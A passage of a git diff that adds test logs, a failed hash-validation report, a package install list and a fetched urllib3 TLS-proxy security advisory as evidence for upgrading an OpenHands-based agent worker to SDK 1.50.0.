https://errors.pydantic.dev/2.12/v/missing +tool_calls.0.arguments + Field required [type=missing, input_value={'id': 'call-p3-fixture',...s': '{"text":"P3_OK"}'}}, input_type=dict] + For further information visit https://errors.pydantic.dev/2.12/v/missing +tool_calls.0.origin + Field required [type=missing, input_value={'id': 'call-p3-fixture',...s': '{"text":"P3_OK"}'}}, input_type=dict] + For further information visit https://errors.pydantic.dev/2.12/v/missing + +---------------------------------------------------------------------- +Ran 12 tests in 6.401s + +FAILED (errors=1) diff --git a/blueprints/runtime-workers/openhands/evidence/upgrade-150-native-profile-first.txt b/blueprints/runtime-workers/openhands/evidence/upgrade-150-native-profile-first.txt new file mode 100644 index 000000000..9faff5fc9 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/upgrade-150-native-profile-first.txt @@ -0,0 +1,26 @@ +E......+----------------------------------------------------------------------+ +| OpenHands SDK v1.50.0 | +| | +| Report a bug: github.com/OpenHands/software-agent-sdk/issues | +| Get help: openhands.dev/joinslack | +| Scale up: openhands.dev/product/sdk | +| | +| Set OPENHANDS_SUPPRESS_BANNER=1 to hide this message | ++----------------------------------------------------------------------+ + +... +====================================================================== +ERROR: test_native_task_hook_refuses_ambient_and_recursive_agents (test_openhands_150.OpenHands150Profiles.test_native_task_hook_refuses_ambient_and_recursive_agents) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_openhands_150.py", line 73, in test_native_task_hook_refuses_ambient_and_recursive_agents + self.assertTrue(hook.permitted({"tool_name": "task", "tool_input": {"subagent_type": "worker-research"}})) + ~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + File "/blueprints/runtime-workers/openhands/mcp_guard.py", line 15, in permitted + from recipe import task_profile +ModuleNotFoundError: No module named 'recipe' + +---------------------------------------------------------------------- +Ran 10 tests in 3.539s + +FAILED (errors=1) diff --git a/blueprints/runtime-workers/openhands/evidence/upgrade-150-profile-first.txt b/blueprints/runtime-workers/openhands/evidence/upgrade-150-profile-first.txt new file mode 100644 index 000000000..adf5c3bba --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/upgrade-150-profile-first.txt @@ -0,0 +1,16 @@ +E......s.. +====================================================================== +ERROR: test_native_task_hook_refuses_ambient_and_recursive_agents (test_openhands_150.OpenHands150Profiles.test_native_task_hook_refuses_ambient_and_recursive_agents) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_openhands_150.py", line 73, in test_native_task_hook_refuses_ambient_and_recursive_agents + self.assertTrue(hook.permitted({"tool_name": "task", "tool_input": {"subagent_type": "worker-research"}})) + ~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + File "/blueprints/runtime-workers/openhands/mcp_guard.py", line 15, in permitted + from recipe import task_profile +ModuleNotFoundError: No module named 'recipe' + +---------------------------------------------------------------------- +Ran 10 tests in 0.030s + +FAILED (errors=1, skipped=1) diff --git a/blueprints/runtime-workers/openhands/evidence/upgrade-150-publication-first.txt b/blueprints/runtime-workers/openhands/evidence/upgrade-150-publication-first.txt new file mode 100644 index 000000000..716e9d6d9 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/upgrade-150-publication-first.txt @@ -0,0 +1,26 @@ +Publication validation failed: +blueprints/runtime-workers/openhands/dispatch.py: SHA-256 mismatch +blueprints/runtime-workers/openhands/dispatch.py: byte count mismatch +blueprints/runtime-workers/openhands/e2e/netprobe.py: SHA-256 mismatch +blueprints/runtime-workers/openhands/e2e/netprobe.py: byte count mismatch +blueprints/runtime-workers/openhands/host.py: SHA-256 mismatch +blueprints/runtime-workers/openhands/host.py: byte count mismatch +blueprints/runtime-workers/openhands/install-container.sh: SHA-256 mismatch +blueprints/runtime-workers/openhands/install.sh: SHA-256 mismatch +blueprints/runtime-workers/openhands/mcp_guard.py: SHA-256 mismatch +blueprints/runtime-workers/openhands/mcp_guard.py: byte count mismatch +blueprints/runtime-workers/openhands/pins.json: SHA-256 mismatch +blueprints/runtime-workers/openhands/receipt.py: SHA-256 mismatch +blueprints/runtime-workers/openhands/receipt.py: byte count mismatch +blueprints/runtime-workers/openhands/recipe.py: SHA-256 mismatch +blueprints/runtime-workers/openhands/recipe.py: byte count mismatch +blueprints/runtime-workers/openhands/requirements.lock: SHA-256 mismatch +blueprints/runtime-workers/openhands/requirements.lock: byte count mismatch +blueprints/runtime-workers/openhands/run-e2e.sh: SHA-256 mismatch +blueprints/runtime-workers/openhands/server_transport.py: SHA-256 mismatch +blueprints/runtime-workers/openhands/server_transport.py: byte count mismatch +blueprints/runtime-workers/openhands/worker.py: SHA-256 mismatch +blueprints/runtime-workers/openhands/worker.py: byte count mismatch +tests/test_runtime_worker_openhands.py: SHA-256 mismatch +tests/test_runtime_worker_openhands.py: byte count mismatch +tests/test_openhands_150.py: contains possible local session identifier diff --git a/blueprints/runtime-workers/openhands/evidence/upgrade-150-upstream-tests.txt b/blueprints/runtime-workers/openhands/evidence/upgrade-150-upstream-tests.txt new file mode 100644 index 000000000..4404a46bd --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/upgrade-150-upstream-tests.txt @@ -0,0 +1,56 @@ +============================= test session starts ============================== +platform linux -- Python 3.13.15, pytest-9.0.3, pluggy-1.6.0 +rootdir: +configfile: pyproject.toml +plugins: libtmux-0.53.0, xdist-3.8.0, asyncio-1.3.0, anyio-4.14.2, forked-1.6.0, timeout-2.4.0, cov-7.0.0 +asyncio: mode=Mode.AUTO, debug=False, asyncio_default_fixture_loop_scope=None, asyncio_default_test_loop_scope=function +collected 1208 items + +tests/sdk/skills/test_agentskills_fields.py .... [ 0%] +tests/sdk/skills/test_extensions_ref.py ........ [ 0%] +tests/sdk/skills/test_installed_skills.py ...................... [ 2%] +tests/sdk/skills/test_load_project_skills.py ................... [ 4%] +tests/sdk/skills/test_load_public_skills.py ............................ [ 6%] + [ 6%] +tests/sdk/skills/test_load_user_skills.py .............. [ 7%] +tests/sdk/skills/test_mcp_config_expansion.py ................ [ 9%] +tests/sdk/skills/test_mcp_json.py ...... [ 9%] +tests/sdk/skills/test_path_trigger.py .................................. [ 12%] +........................... [ 14%] +tests/sdk/skills/test_resource_directories.py .... [ 15%] +tests/sdk/skills/test_skill_commands.py ...................... [ 16%] +tests/sdk/skills/test_skill_info.py ................... [ 18%] +tests/sdk/skills/test_skill_md_convention.py ......... [ 19%] +tests/sdk/skills/test_skill_no_header.py .... [ 19%] +tests/sdk/skills/test_skill_serialization.py ............ [ 20%] +... (84 lines omitted) +tests/sdk/llm/test_llm_fallback.py::test_fallback_succeeds_after_primary_transient_failure +tests/sdk/llm/test_llm_fallback.py::test_quota_exhaustion_fails_over_without_retries[usage_limit_reached-sync] +tests/sdk/llm/test_llm_fallback.py::test_quota_exhaustion_fails_over_without_retries[usage_limit_reached-async] +tests/sdk/llm/test_llm_fallback.py::test_quota_exhaustion_fails_over_without_retries[insufficient_quota-sync] +tests/sdk/llm/test_llm_fallback.py::test_quota_exhaustion_fails_over_without_retries[insufficient_quota-async] +tests/sdk/llm/test_llm_fallback.py::test_acompletion_fallback_on_transport_error +tests/sdk/llm/test_llm_fallback.py::test_fallback_forwards_caller_kwargs + /openhands-sdk/openhands/sdk/llm/utils/telemetry.py:395: UserWarning: Cost calculation failed: litellm.BadRequestError: LLM Provider NOT provided. Pass in the LLM provider you are trying to call. You passed model=fallback-model + Pass model as E.g. For 'Huggingface' inference endpoints pass in `completion(model='huggingface/starcoder',..)` Learn more: https://docs.litellm.ai/docs/providers + warnings.warn(f"Cost calculation failed: {e}") + +tests/sdk/llm/test_llm_fallback.py::test_metrics_merged_from_fallback +tests/sdk/llm/test_llm_fallback.py::test_responses_fallback_succeeds +tests/sdk/llm/test_llm_fallback.py::test_aresponses_fallback_on_transport_error + /openhands-sdk/openhands/sdk/llm/utils/telemetry.py:395: UserWarning: Cost calculation failed: litellm.BadRequestError: LLM Provider NOT provided. Pass in the LLM provider you are trying to call. You passed model=fb + Pass model as E.g. For 'Huggingface' inference endpoints pass in `completion(model='huggingface/starcoder',..)` Learn more: https://docs.litellm.ai/docs/providers + warnings.warn(f"Cost calculation failed: {e}") + +tests/sdk/llm/test_llm_fallback.py::test_second_fallback_succeeds + /openhands-sdk/openhands/sdk/llm/utils/telemetry.py:395: UserWarning: Cost calculation failed: litellm.BadRequestError: LLM Provider NOT provided. Pass in the LLM provider you are trying to call. You passed model=fb2 + Pass model as E.g. For 'Huggingface' inference endpoints pass in `completion(model='huggingface/starcoder',..)` Learn more: https://docs.litellm.ai/docs/providers + warnings.warn(f"Cost calculation failed: {e}") + +-- Docs: https://docs.pytest.org/en/stable/how-to/capture-warnings.html +================= 1208 passed, 52 warnings in 94.92s (0:01:34) ================= +[+109 hidden: rtk recall 022f02b60903] +[09/30/26 01:06:59] WARNING Error closing agent: local_conversation.py:2832 + 'LocalConversation' + object has no attribute + 'agent' diff --git a/blueprints/runtime-workers/openhands/evidence/upgrade-150-wheel-check.txt b/blueprints/runtime-workers/openhands/evidence/upgrade-150-wheel-check.txt new file mode 100644 index 000000000..00c48211b --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/upgrade-150-wheel-check.txt @@ -0,0 +1,3 @@ +Using Python 3.13.15 environment at: +Checked 178 packages in 4ms +All installed packages are compatible diff --git a/blueprints/runtime-workers/openhands/evidence/upgrade-150-wheel-imports.txt b/blueprints/runtime-workers/openhands/evidence/upgrade-150-wheel-imports.txt new file mode 100644 index 000000000..e3e8a8a67 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/upgrade-150-wheel-imports.txt @@ -0,0 +1,11 @@ ++----------------------------------------------------------------------+ +| OpenHands SDK v1.50.0 | +| | +| Report a bug: github.com/OpenHands/software-agent-sdk/issues | +| Get help: openhands.dev/joinslack | +| Scale up: openhands.dev/product/sdk | +| | +| Set OPENHANDS_SUPPRESS_BANNER=1 to hide this message | ++----------------------------------------------------------------------+ + +Published SDK/tools 1.50.0 imports passed; PyJWT 2.13.0; no model request diff --git a/blueprints/runtime-workers/openhands/evidence/upgrade-150-wheel-install.txt b/blueprints/runtime-workers/openhands/evidence/upgrade-150-wheel-install.txt new file mode 100644 index 000000000..cf562ba89 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/upgrade-150-wheel-install.txt @@ -0,0 +1,180 @@ +Using Python 3.13.15 environment at: +Resolved 176 packages in 632ms +Installed 173 packages in 523ms +Prepared 2 packages without build isolation in 74ms +Installed 2 packages in 32ms + + agent-client-protocol==0.12.1 + + aiofile==3.9.0 + + aiofiles==25.1.0 + + aiohappyeyeballs==2.6.1 + + aiohttp==3.14.3 + + aiosignal==1.4.0 + + annotated-types==0.7.0 + + anthropic==0.75.0 + + anyio==4.14.2 + + attrs==25.3.0 + + authlib==1.6.12 + + backoff==2.2.1 + + beartype==0.22.9 + + beautifulsoup4==4.14.2 + + binaryornot==0.4.4 + + blake3==1.0.9 + + browser-use==0.11.9 + + browser-use-sdk==2.0.15 + + bubus==1.5.6 + + cachetools==7.1.8 + + caio==0.9.25 + + cdp-use==1.4.4 + + certifi==2025.8.3 + + cffi==2.0.0 + + chardet==5.2.0 + + charset-normalizer==3.4.3 + + click==8.1.8 + + cloudpickle==3.1.2 + + cryptography==50.0.0 + + cyclopts==4.6.0 + + deprecation==2.1.0 + + distro==1.9.0 + + dnspython==2.8.0 + + docstring-parser==0.17.0 + + docutils==0.22.2 + + email-validator==2.3.0 + + exceptiongroup==1.3.0 + + fakeredis==2.34.1 + + fastmcp==3.2.0 + + fastuuid==0.14.0 + + filelock==3.20.3 + + frozenlist==1.8.0 + + fsspec==2025.9.0 + + func-timeout==4.3.5 + + google-api-core==2.31.0 + + google-api-python-client==2.184.0 + + google-auth==2.53.0 + + google-auth-httplib2==0.2.0 + + google-auth-oauthlib==1.2.2 + + google-genai==1.75.0 + + googleapis-common-protos==1.70.0 + + groq==0.32.0 + + grpcio==1.76.0 + + h11==0.16.0 + + hf-xet==1.1.10 + + httpcore==1.0.9 + + httplib2==0.32.0 + + httpx==0.28.1 + + httpx-sse==0.4.3 + + huggingface-hub==0.35.3 + + idna==3.15 + + importlib-metadata==8.5.0 + + inquirerpy==0.3.4 + + jaraco-classes==3.4.0 + + jaraco-context==6.1.0 + + jaraco-functools==4.4.0 + + jeepney==0.9.0 + + jinja2==3.1.6 + + jiter==0.11.0 + + joserfc==1.7.5 + + json-repair==0.60.1 + + jsonref==1.1.0 + + jsonschema==4.23.0 + + jsonschema-path==0.3.4 + + jsonschema-specifications==2025.9.1 + + keyring==25.7.0 + + libtmux==0.53.0 + + litellm==1.93.0 + + lmnr==0.7.60 + + lmnr-claude-code-proxy==0.1.23 + + lupa==2.8 + + lxml==6.1.0 + + markdown-it-py==4.0.0 + + markdownify==1.2.0 + + markupsafe==3.0.2 + + mcp==1.28.1 + + mdurl==0.1.2 + + more-itertools==10.8.0 + + multidict==6.7.0 + + oauthlib==3.3.1 + + ollama==0.6.0 + + openai==2.33.0 + + openapi-pydantic==0.5.1 + + openhands-sdk==1.50.0 (from https://files.pythonhosted.org/packages/eb/5a/359d6a4b892fccd4915879d3145d77735b0e5614eee7db7b2a11ae99a843/openhands_sdk-1.50.0-py3-none-any.whl) + + openhands-tools==1.50.0 (from https://files.pythonhosted.org/packages/97/b2/61c9b0029d46de429890527f47c1809f6badc1c386bfcb4dd17286166108/openhands_tools-1.50.0-py3-none-any.whl) + + opentelemetry-api==1.39.1 + + opentelemetry-exporter-otlp-proto-common==1.39.1 + + opentelemetry-exporter-otlp-proto-grpc==1.39.1 + + opentelemetry-exporter-otlp-proto-http==1.39.1 + + opentelemetry-instrumentation==0.60b1 + + opentelemetry-instrumentation-threading==0.60b1 + + opentelemetry-proto==1.39.1 + + opentelemetry-sdk==1.39.1 + + opentelemetry-semantic-conventions==0.60b1 + + opentelemetry-semantic-conventions-ai==0.4.13 + + orjson==3.11.7 + + pathable==0.4.4 + + pfzy==0.3.4 + + pillow==12.3.0 + + platformdirs==4.4.0 + + portalocker==2.10.1 + + posthog==6.7.7 + + prompt-toolkit==3.0.52 + + propcache==0.4.1 + + proto-plus==1.26.1 + + protobuf==6.33.5 + + psutil==7.2.2 + + py-key-value-aio==0.4.4 + + pyasn1==0.6.4 + + pyasn1-modules==0.4.2 + + pycparser==2.23 + + pydantic==2.12.5 + + pydantic-core==2.41.5 + + pydantic-settings==2.11.0 + + pygments==2.20.0 + + pyjwt==2.13.0 + + pyotp==2.9.0 + + pyparsing==3.2.5 + + pypdf==6.14.2 + + pyperclip==1.11.0 + + python-dateutil==2.9.0.post0 + + python-docx==1.2.0 + + python-dotenv==1.2.2 + + python-frontmatter==1.1.0 + + python-json-logger==4.0.0 + + python-multipart==0.0.31 + + pyyaml==6.0.2 + + redis==7.2.1 + + referencing==0.36.2 + + regex==2025.9.18 + + reportlab==4.4.4 + + requests==2.33.0 + + requests-oauthlib==2.0.0 + + rich==14.3.3 + + rich-rst==1.3.2 + + rpds-py==0.27.1 + + screeninfo==0.8.1 + + secretstorage==3.5.0 + + six==1.17.0 + + sniffio==1.3.1 + + socksio==1.0.0 + + sortedcontainers==2.4.0 + + soupsieve==2.8.4 + + sse-starlette==3.0.2 + + starlette==1.3.1 + + tenacity==9.1.2 + + tiktoken==0.12.0 + + tokenizers==0.23.1 + + tom-swe==1.0.3 + + tqdm==4.67.1 + + tree-sitter==0.25.2 + + tree-sitter-bash==0.25.1 + + typing-extensions==4.15.0 + + typing-inspection==0.4.2 + + uncalled-for==0.2.0 + + uritemplate==4.2.0 + + urllib3==2.7.0 + + uuid7==0.1.0 + + uvicorn==0.52.4 + + watchfiles==1.1.1 + + wcwidth==0.2.14 + + websockets==15.0.1 + + wrapt==1.17.3 + + yarl==1.22.0 + + zipp==3.23.0 diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-actual-sdk-fixtures.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-actual-sdk-fixtures.txt new file mode 100644 index 000000000..2fd79dca2 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-actual-sdk-fixtures.txt @@ -0,0 +1,36 @@ +argv: ["rtk", "proxy", "/venv/bin/python", "-m", "unittest", "tests.test_openhands_150", "-v"] +cwd: +started_utc: 2026-09-30T15:50:51.936681+00:00 +ended_utc: 2026-09-30T15:50:59.460009+00:00 +exit_code: 0 + +stdout: + +stderr: +test_native_task_hook_refuses_ambient_and_recursive_agents (tests.test_openhands_150.OpenHands150Profiles.test_native_task_hook_refuses_ambient_and_recursive_agents) ... ok +test_profiles_are_bounded_and_services_are_task_scoped (tests.test_openhands_150.OpenHands150Profiles.test_profiles_are_bounded_and_services_are_task_scoped) ... ok +test_sampling_is_rejected_before_any_request (tests.test_openhands_150.OpenHands150Profiles.test_sampling_is_rejected_before_any_request) ... ok +test_skill_objects_are_role_selected_and_github_descriptions_are_scoped (tests.test_openhands_150.OpenHands150Profiles.test_skill_objects_are_role_selected_and_github_descriptions_are_scoped) ... ok +test_goal_status_is_lifecycle_output_and_preserves_active_judge_round (tests.test_openhands_150.OpenHands150Recovery.test_goal_status_is_lifecycle_output_and_preserves_active_judge_round) ... ok +test_independent_observer_rejects_fixture_and_model_store_sources (tests.test_openhands_150.OpenHands150Recovery.test_independent_observer_rejects_fixture_and_model_store_sources) ... ok +test_interrupt_resume_preserves_native_conversation_deadline_and_reservation (tests.test_openhands_150.OpenHands150Recovery.test_interrupt_resume_preserves_native_conversation_deadline_and_reservation) ... ok +test_actual_native_profiles_and_children_keep_explicit_route_tools_skills (tests.test_openhands_150.OpenHands150Transport.test_actual_native_profiles_and_children_keep_explicit_route_tools_skills) ... +----------------------------------------------------------------------+ +| OpenHands SDK v1.50.0 | +| | +| Report a bug: github.com/OpenHands/software-agent-sdk/issues | +| Get help: openhands.dev/joinslack | +| Scale up: openhands.dev/product/sdk | +| | +| Set OPENHANDS_SUPPRESS_BANNER=1 to hide this message | ++----------------------------------------------------------------------+ + +ok +test_actual_native_sdk_completion_uses_responses_dispatch (tests.test_openhands_150.OpenHands150Transport.test_actual_native_sdk_completion_uses_responses_dispatch) ... ok +test_completion_bridge_preserves_native_contract_and_restores_methods (tests.test_openhands_150.OpenHands150Transport.test_completion_bridge_preserves_native_contract_and_restores_methods) ... ok +test_goal_adapter_keeps_native_loop_and_separate_judge_metrics (tests.test_openhands_150.OpenHands150Transport.test_goal_adapter_keeps_native_loop_and_separate_judge_metrics) ... ok +test_p3_native_tool_replay_and_query_denial_are_fixture_only (tests.test_openhands_150.OpenHands150Transport.test_p3_native_tool_replay_and_query_denial_are_fixture_only) ... ok + +---------------------------------------------------------------------- +Ran 12 tests in 6.289s + +OK diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-8988-9cw3-xx77.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-8988-9cw3-xx77.txt new file mode 100644 index 000000000..d06d632cb --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-8988-9cw3-xx77.txt @@ -0,0 +1,9 @@ +argv: ["rtk", "proxy", "gh", "api", "advisories/GHSA-8988-9cw3-xx77"] +cwd: +started_utc: 2026-09-30T15:44:08.592035+00:00 +ended_utc: 2026-09-30T15:44:09.038087+00:00 +exit_code: 0 + +stdout: +{"ghsa_id":"GHSA-8988-9cw3-xx77","cve_id":"CVE-2026-97687","url":"https://api.github.com/advisories/GHSA-8988-9cw3-xx77","html_url":"https://github.com/advisories/GHSA-8988-9cw3-xx77","summary":"urllib3: HTTPS proxy TLS configuration may be ignored or overridden","description":"## Impact\n\nurllib3 supports configuring TLS independently for an HTTPS proxy and the target server.\n\n`proxy_ssl_context`, `proxy_assert_hostname`, and `proxy_assert_fingerprint` configure the TLS connection to the proxy. `ssl_context` and the other target-specific TLS parameters configure the connection to the target server.\n\nIn urllib3 versions 1.26.0 through 2.7.0, these configurations were not consistently separated. Depending on the proxy mode, urllib3 could:\n\n1. Ignore `proxy_ssl_context` and use the target server's SSL context for the TLS connection to an HTTPS forwarding proxy.\n2. Override the HTTPS proxy's certificate-verification policy with the target server's certificate-verification policy.\n3. Apply target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials to the TLS connection to an HTTPS forwarding proxy.\n\nIn particular, configuring `cert_reqs=\"CERT_NONE\"` for a target server could overwrite the `verify_mode` of the SSL context configured for the HTTPS proxy. This modification occurred in place and persisted on the context object, potentially disabling proxy certificate verification for later connections that reused the same context.\n\nAn attacker able to intercept the connection to an HTTPS proxy may be able to impersonate the proxy when the effective proxy TLS configuration disables certificate verification or otherwise accepts the attacker's certificate. This may occur, for example, when the target server's trust or identity policy is incorrectly applied to the proxy connection.\n\nWhen HTTPS forwarding is enabled, an impersonated proxy can observe or modify forwarded requests and responses, potentially exposing credentials, authentication tokens, request bodies, response data, and other sensitive information.\n\nA TLS client certificate intended for the target server may also be presented to the proxy or to an attacker impersonating it. This can disclose the client's identity and provide proof of possession of the corresponding private key. The private key itself is not transmitted during the TLS handshake.\n\nIn CONNECT tunneling mode, impersonating the HTTPS proxy does not by itself defeat the separate end-to-end TLS connection between the client and the target server.\n\n## Affected Usages\n\nCode using urllib3 versions 1.26.0 through 2.7.0 may be affected in any of the following cases.\n\n### 1. The target SSL context is used for an HTTPS forwarding proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and `proxy_ssl_context` is configured for the proxy.\n\nurllib3 may ignore `proxy_ssl_context` and use the target server's `ssl_context` for the proxy TLS handshake. The proxy may therefore be verified using the target server's trust and certificate policy instead of the policy explicitly configured for the proxy.\n\n### 2. The target verification policy overrides the proxy policy\n\nAn HTTPS proxy is configured with `proxy_ssl_context`, while the target server uses a different certificate-verification policy.\n\nurllib3 may apply the target server's `cert_reqs` value to the proxy SSL context. For example, setting `cert_reqs=\"CERT_NONE\"` for the target server may also disable certificate verification for the HTTPS proxy, even when `proxy_ssl_context` was configured to require verification.\n\nThis issue can affect the TLS connection to an HTTPS proxy in both forwarding and CONNECT tunneling configurations.\n\n### 3. A mutated proxy SSL context is reused\n\nThe same SSL context is reused as `proxy_ssl_context` across multiple connections, and certificate verification is disabled for one target server.\n\nurllib3 may modify the proxy SSL context's `verify_mode` in place. Later connections that reuse the same context may therefore connect to the HTTPS proxy without certificate verification.\n\n### 4. Target-specific TLS identity or credentials are applied to the proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials are configured.\n\nurllib3 may apply these target-specific settings to the proxy TLS handshake. This may cause urllib3 to:\n\n- send SNI intended for the target server to the proxy;\n- verify the proxy using a hostname or certificate fingerprint intended for the target server; or\n- present a TLS client certificate intended for the target server to the proxy.\n\nCode connecting through a plain HTTP proxy does not establish a TLS connection to the proxy and is not affected by this issue.\n\n## Remediation\n\nUpgrade to urllib3 2.8.0 or later.\n\nurllib3 2.8.0 independently applies the explicitly configured `proxy_ssl_context` and proxy-specific certificate assertions to the HTTPS proxy connection. Target-specific SNI, certificate assertions, and TLS client certificate parameters are no longer applied to the HTTPS proxy handshake.\n\nFor backward compatibility, when an HTTPS proxy is used with `use_forwarding_for_https=True` and `proxy_ssl_context` is not provided, urllib3 2.8.0 continues to use `ssl_context` for the TLS connection to the proxy. This configuration emits a `FutureWarning`. In urllib3 3.0, passing `ssl_context` with `use_forwarding_for_https=True` for an HTTPS proxy will raise an error. Applications should use `proxy_ssl_context` to configure TLS for an HTTPS forwarding proxy.\n\nThe fixes were implemented in commits b6447295fff7b38fdffc67e0df9712d60cef3cc3 and 07408cec79d1856d81bb42c74a904a24fdb9e465.","type":"reviewed","severity":"high","repository_advisory_url":"https://api.github.com/repos/urllib3/urllib3/security-advisories/GHSA-8988-9cw3-xx77","source_code_location":"https://github.com/urllib3/urllib3","identifiers":[{"value":"GHSA-8988-9cw3-xx77","type":"GHSA"},{"value":"CVE-2026-97687","type":"CVE"}],"references":["https://github.com/urllib3/urllib3/security/advisories/GHSA-8988-9cw3-xx77","https://nvd.nist.gov/vuln/detail/CVE-2026-97687","https://github.com/urllib3/urllib3/pull/5093","https://github.com/urllib3/urllib3/commit/07408cec79d1856d81bb42c74a904a24fdb9e465","https://github.com/urllib3/urllib3/commit/b6447295fff7b38fdffc67e0df9712d60cef3cc3","https://github.com/urllib3/urllib3/releases/tag/2.8.0","https://github.com/advisories/GHSA-8988-9cw3-xx77"],"published_at":"2026-09-30T14:46:04Z","updated_at":"2026-09-30T14:46:05Z","github_reviewed_at":"2026-09-30T14:46:04Z","nvd_published_at":"2026-09-29T16:17:18Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"urllib3"},"vulnerable_version_range":">= 1.26.0, < 2.8.0","first_patched_version":"2.8.0","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":null,"score":0.0},"cvss_v4":{"vector_string":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","score":7.6}},"cwes":[{"cwe_id":"CWE-295","name":"Improper Certificate Validation"},{"cwe_id":"CWE-440","name":"Expected Behavior Violation"}],"credits":[{"user":{"login":"dhoepp","id":2715906,"node_id":"MDQ6VXNlcjI3MTU5MDY=","avatar_url":"https://avatars.githubusercontent.com/u/2715906?v=4","gravatar_id":"","url":"https://api.github.com/users/dhoepp","html_url":"https://github.com/dhoepp","followers_url":"https://api.github.com/users/dhoepp/followers","following_url":"https://api.github.com/users/dhoepp/following{/other_user}","gists_url":"https://api.github.com/users/dhoepp/gists{/gist_id}","starred_url":"https://api.github.com/users/dhoepp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhoepp/subscriptions","organizations_url":"https://api.github.com/users/dhoepp/orgs","repos_url":"https://api.github.com/users/dhoepp/repos","events_url":"https://api.github.com/users/dhoepp/events{/privacy}","received_events_url":"https://api.github.com/users/dhoepp/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"remediation_developer"},{"user":{"login":"shazow","id":6292,"node_id":"MDQ6VXNlcjYyOTI=","avatar_url":"https://avatars.githubusercontent.com/u/6292?v=4","gravatar_id":"","url":"https://api.github.com/users/shazow","html_url":"https://github.com/shazow","followers_url":"https://api.github.com/users/shazow/followers","following_url":"https://api.github.com/users/shazow/following{/other_user}","gists_url":"https://api.github.com/users/shazow/gists{/gist_id}","starred_url":"https://api.github.com/users/shazow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/shazow/subscriptions","organizations_url":"https://api.github.com/users/shazow/orgs","repos_url":"https://api.github.com/users/shazow/repos","events_url":"https://api.github.com/users/shazow/events{/privacy}","received_events_url":"https://api.github.com/users/shazow/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"remediation_developer"},{"user":{"login":"fuyu0425","id":15128056,"node_id":"MDQ6VXNlcjE1MTI4MDU2","avatar_url":"https://avatars.githubusercontent.com/u/15128056?v=4","gravatar_id":"","url":"https://api.github.com/users/fuyu0425","html_url":"https://github.com/fuyu0425","followers_url":"https://api.github.com/users/fuyu0425/followers","following_url":"https://api.github.com/users/fuyu0425/following{/other_user}","gists_url":"https://api.github.com/users/fuyu0425/gists{/gist_id}","starred_url":"https://api.github.com/users/fuyu0425/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/fuyu0425/subscriptions","organizations_url":"https://api.github.com/users/fuyu0425/orgs","repos_url":"https://api.github.com/users/fuyu0425/repos","events_url":"https://api.github.com/users/fuyu0425/events{/privacy}","received_events_url":"https://api.github.com/users/fuyu0425/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"},{"user":{"login":"sethmlarson","id":18519037,"node_id":"MDQ6VXNlcjE4NTE5MDM3","avatar_url":"https://avatars.githubusercontent.com/u/18519037?v=4","gravatar_id":"","url":"https://api.github.com/users/sethmlarson","html_url":"https://github.com/sethmlarson","followers_url":"https://api.github.com/users/sethmlarson/followers","following_url":"https://api.github.com/users/sethmlarson/following{/other_user}","gists_url":"https://api.github.com/users/sethmlarson/gists{/gist_id}","starred_url":"https://api.github.com/users/sethmlarson/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sethmlarson/subscriptions","organizations_url":"https://api.github.com/users/sethmlarson/orgs","repos_url":"https://api.github.com/users/sethmlarson/repos","events_url":"https://api.github.com/users/sethmlarson/events{/privacy}","received_events_url":"https://api.github.com/users/sethmlarson/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"},{"user":{"login":"illia-v","id":17710133,"node_id":"MDQ6VXNlcjE3NzEwMTMz","avatar_url":"https://avatars.githubusercontent.com/u/17710133?v=4","gravatar_id":"","url":"https://api.github.com/users/illia-v","html_url":"https://github.com/illia-v","followers_url":"https://api.github.com/users/illia-v/followers","following_url":"https://api.github.com/users/illia-v/following{/other_user}","gists_url":"https://api.github.com/users/illia-v/gists{/gist_id}","starred_url":"https://api.github.com/users/illia-v/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/illia-v/subscriptions","organizations_url":"https://api.github.com/users/illia-v/orgs","repos_url":"https://api.github.com/users/illia-v/repos","events_url":"https://api.github.com/users/illia-v/events{/privacy}","received_events_url":"https://api.github.com/users/illia-v/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"coordinator"},{"user":{"login":"yonatanmgr","id":31913495,"node_id":"MDQ6VXNlcjMxOTEzNDk1","avatar_url":"https://avatars.githubusercontent.com/u/